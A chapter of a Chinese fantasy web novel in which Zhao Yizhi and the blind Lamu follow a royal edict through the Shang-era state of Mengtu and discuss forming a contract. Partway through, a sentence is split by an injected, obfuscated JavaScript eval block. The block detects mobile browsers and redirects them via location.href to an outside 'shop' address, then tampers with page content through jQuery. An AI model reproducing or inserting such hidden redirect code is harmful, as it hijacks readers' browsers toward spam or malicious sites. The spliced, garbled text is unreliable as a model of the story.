他赵义之除开心地善良,还有个优点,就是认错快。
所以他立刻道了歉:“对不起。你早点告诉我就好了。”
“下次吧。”
随着脚步慢慢走出祭祀的地方,眼前所见之物也逐渐变得真实。脚下的黄土被开垦、耕种,一块块的田地里是长势喜人的粟黍。田中有几位打着赤脚光膀的老汉在弯腰拔草,头上浅黄斗笠从绿油油的植物上冒出来,倒成了屈指可数的花。
“如果我和他们打招呼,会引发什么不好的后果吗?”赵义之问。
“不会。”拉姆回答。
赵义之抬眼盯着肩上的青铜杖想了想,将它递给拉姆:“帮我拿一下。”接着他又说,“有点重,小心别砸到脚。”
拉姆接过青铜杖慢慢抚摸着上面压印出的花纹。重?他没觉得。
“大爷,有个事想问问您。”赵义之一边朝田地里的人走去一边高声喊,“大爷。”
带斗笠遮阳的大爷直起腰,转身看过来:“恁说啥嘞?”
赵义之站在田埂上,继续说:“大爷,你们这儿谁管事啊?”
大爷朝他摆摆手:“听不懂。”说完便又继续拔草松土。
赵义之若有所思,随后换了套文绉的说法:“老人家,请问村长家住何方?”
大爷更听不懂,没好气地挥挥手,看样子是在撵他走。
“奇了怪了。”他嘟囔着回到拉姆身边,“怎么好像我和那位大爷都听不懂对方在说什么。”
“时隔三千多年,咬字发音都和以前不一样了,听不懂是正常的。”
“这不就没办法打听本位在哪儿了吗。”
拉姆微微转过脑袋面向赵义之,似乎在看他的眼睛:“信息之间不是只能通过人类的语言来交流。”
赵义之一点就醒:“联网!谢谢提醒。”
他转头朝刚才的大爷跑去,直接伸手搭在他头顶上,没再多说半句废话。弯腰劳作的大爷好似不知道自己被触碰,依旧埋头苦干。只是可惜得很,他的信息之中全是平淡又清苦的日子。赵义之收回手,默默盯着大爷弯曲的后背看了几秒,转身去找另外几名在田里劳作的人,也不废话,直接用手摸。
最终,依旧没有得到关于本位的线索。
他失望地回到拉姆身边,拿过青铜杖:“再往前走走,信息里说前面有村庄。”
“不去村庄。”拉姆指向另一条路,“进城。”
“有城?行,走。”赵义之倒也干脆。
若论信任,赵义之对拉姆是毫无保留的,毕竟如果当年拉姆没有将他从死后世界里拉回来,想必真正的赵义之在五年前就英年早逝,也不可能还有如今的家庭幸福。哪怕拉姆要用他的载体来取暖——那还是有点难过的。
“一个人骑马……过河……去打架?”赵义之抬头望着城门上的文字念道。
顺着拉姆所指的那条路往前走,约莫一公里之外有条水波青碧的护城渠,走过渠上的石桥便是连接夯土墙的高大城门。赵义之站在城门下,看着石墙上雕刻的文字思索沉吟。
“是‘孟涂’。”拉姆纠正道,“那两个金文是孟涂。”
赵义之转头看着拉姆,真诚发问:“你怎么知道不是‘一个人骑马过河去打架’?你又看不见。”
拉姆沉默片刻,道:“因为这里是孟涂国,是阴女的故国。”
“孟涂国……”赵义之摇摇头,“没听过。”
“殷商的方国之一。”拉姆走进城门。
赵义之快走两步追上他:“也就是说,阴女是商朝时期的人?这寿命都赶上神仙了。那你呢,你是哪儿的人?”
“让开让开!”
身后传来男人的大喊声,赵义之抓住拉姆的胳膊边往一旁退边回头看。来人骑着马,一手缰绳一手高托举着青铜盒,急匆匆自城外过街道往宫殿而去。
“跟着那个人,他往哪儿走我们就去哪儿。”拉姆话是这么说,可脚却没动。
看着骑马男子笔直往前消失在转角处,赵义之也不着急:“可他已经不见了。但是我很聪明,知道信息传输不靠走路。”
拉姆淡淡勾起嘴角:“对。你很聪明。”
受到表扬,赵义之很高兴。
拉姆再次浅浅笑了笑,手穿过赵义之的腋下抓住他的手臂:“走,去追那个骑马的人。”
赵义之正想说什么,忽觉身体像是被不断往前吸引,城中街景迅速模糊的残影慢慢地,竟变成夜空中的流星雨,从他们身边飞过。他置身于繁星重,忍不住好奇,伸手拦下其中一颗。
那流星便直接化在他眼底。
————
????年。
白色巨石搭建起的巍峨神圣宫殿中,粉紫色的花开满庭院,带花的藤蔓缠绕着圆形石柱向上攀延,便也成了装饰。
阳光为这座建于大陆之上的宫殿带来暖色,使冰冷的石头也泛起黄色的光。
悬挂于塔楼最高处的金钟被敲响,铛——铛——铛——
幸福的欢笑声随着金钟最后一声的敲响充满整个宫殿。两名巨人,跪坐在面朝海洋的广场上。身穿洁白长衫的人们怀里抱着装满花瓣的篮子,或是坐在巨人肩上,或是在广场上围出一条圣洁的通道,一把一把抓起篮中的彩色的花瓣,朝天上撒去。花瓣被风吹散,飘得满天都是。
“拉姆和哈雨来了!”
宫殿里走出来一男一女,皆是身着白色长袍,肩上披着珍珠串成的罩衫,腰上系着贝壳腰链。拉姆长而卷曲的金色头发编成辫子,用白色的布条绑着,垂在背后,金色的眼睛里全是笑意。而哈雨,即将成为拉姆妻子的哈雨,长着尖尖的耳朵,长裙盖过脚背,勾勒出妙曼的线条,柔顺的黑色长发在日光之下泛着大海的光泽,柔情似水的双眼如紫水晶般闪耀。
“祝贺你们,拉姆、哈雨,我亲爱的挚友!”广场左边红发褐眼白肤色的巨人大声送上祝福。
“拉姆、哈雨,我真心为你们感到高兴。”广场右边白发蓝瞳黑肤色的巨人带着内敛柔声恭贺。
“诺恩、亚索,谢谢你们!”拉姆露出灿烂、热烈的笑。
————
“到了。”拉姆松开赵义之的衣袖。
眼底的画面戛然而止,一时间,赵义之竟不知是该先惊讶有巨人,还是该惊讶拉姆居然结过婚,或是该惊讶拉姆竟也能笑得那么灿烂。
“拉姆……”赵义之收起心神,小心试探着问,“你的眼睛为什么会失明?”
拉努张了张嘴,说:“是赎罪。”
“你……犯了什么罪?”
拉姆感知到什么,问:“你刚刚看到了什么?”
赵义之尴尬地笑笑,有些心虚:“也没什么,就是呃……你、你结——”
“吁——!”骑马的男人此时才倒,他翻身下马将缰绳扔给守宫门的侍卫,拿出玉质的牙璋举在面前,“陛下命我向涂阿王传圣诏。”
侍卫双手恭敬地接过牙璋确认,弯腰归还,让至一旁放他进去。男人收好牙璋,搂着青铜盒大步走进孟涂王宫。
接到通报的涂阿王走下王座迎接,跪坐两旁的臣子也随他一同起身,走到殿中央。
传诏的男人走进来,双手托着青铜盒道:“我奉陛下的命令,来传诏。”
涂阿王的目光落在男人手中的青铜盒上,眉头不禁皱起:“陛下可说过,这是什么诏令?”
“陛下只交代,务必将诏令交到涂阿王手中。”男人再次将手中的青铜盒往前送了送,“请涂阿王接诏,我好回去向陛下交差。”
涂阿王脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263938|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色难看,还是不得不走上前,双手接下青铜盒:“孟涂王涂阿……接诏。”
男人面色松懈,朝涂阿王行了个礼,转身走出大殿。
涂阿王端着青铜盒的手不住颤抖,抚摸着上面的花纹迟迟不敢打开。他身后的一名年轻男人走上来,问:“父王,您不打开看看么?”
涂阿王长叹一口气,将青铜盒递给身旁的儿子:“你来开。”
“是。”男子抬眼观察一番涂阿王的脸色,接过青铜盒缓缓打开。
“难道涂阿王知道诏令的内容?”赵义之转头问拉姆。他们跟着送诏的男人来到大殿。守门的护卫瞧不见他们似的,根本没拦。
连大殿上的人,也全然没朝他们看来一眼。
“这个时期正好是举行殷礼的日子。”拉姆说,“每个方国都会收到内容差不多的诏令。”
“什么内容?”
“要人。”
“结婚?”
打开青铜盒拿出龟背过目后的男子愕然抬起头,不可置信地看向自己的父亲:“陛下要……要我们……”
“去准备吧。” 涂阿王抬手一挥,转身走回王座。
“这要我如何准备?!陛下要的是……!”
再端坐好时,涂阿王已然恢复如常:“明日,你带女叔前往殷都。”
男子想再争取,正要说话便被涂阿王怒目瞪来,只好闭嘴接旨:“儿臣谨遵王命。”
听到此处,赵义之也反应过来:“是要送这个叫女叔的去殷都参观祭祀?”
“不是参观,是‘参加’。”
“祭品?!”赵义之脱口而出心里的第一个想法。
“跟着他走。”
赵义之转头看一眼坐在王位上的中年男人,再回头时,拉姆已经跟着那年轻的男子走出大殿。他只好跟过去:“不是要找本位吗?”
“本位不在大殿上。”
“你怎么知道?”赵义之回过味来,立马追问,“你是不是知道本位在哪儿?”
拉姆微微摇头:“我还没有感知到本位的方向,大概是条件没达到,现在还未出现在茧房里。”
“条件是什么?”
拉姆忽然停下脚步,像是思索般沉默片刻,然后转身面朝赵义之:“茧房形成的那一刻,里面的信息就已经固定存在了。本位的信息也早在这里面,只是没有拟态。我能推断出它的拟态什么时候出现,但无法直接获取它的信息。而你,应该可以。”
赵义之对自己这项本事毫无头绪:“下载本位的信息?”
“不是。目前的你还无法下载本位的信息。”
“那我该怎么做?”
“和我缔结契约,成为我的执行者。”很快,拉姆又解释,“正如阿卡夏无法对现实世界直接造成影响,我也无法对信息世界直接造成影响。”
赵义之抱起双臂,略有思考地盯着拉姆:“所以你和阿卡夏都想和我缔结契约?”
拉姆没有回话,于是赵义之又问:“缔结契约后,我还有自主意识吗?”
“有。”
“也能自由行动?”
“嗯。”拉姆解释,“缔结契约后,你将会成为我触及信息本身的媒介,其他没有任何变化。只是,结契后,我可以改变你的信息,你也可以将我的身体作为临时载体来使用。”
听起来似乎并没有什么损失。赵义之苦思一番,将拉姆的话归纳总结,得出更容易理解的说法:“也就是说,你可以帮我变强,而我可以附在你身上使用你的身体?”
拉姆轻轻笑了一下:“这么理解也没错。”
还有个更简单的说法能概括这种关系。赵义之指向拉姆:“你是巫觋。”又指向自己,“我是鬼。”
虽然多有不同,但也毫无关联。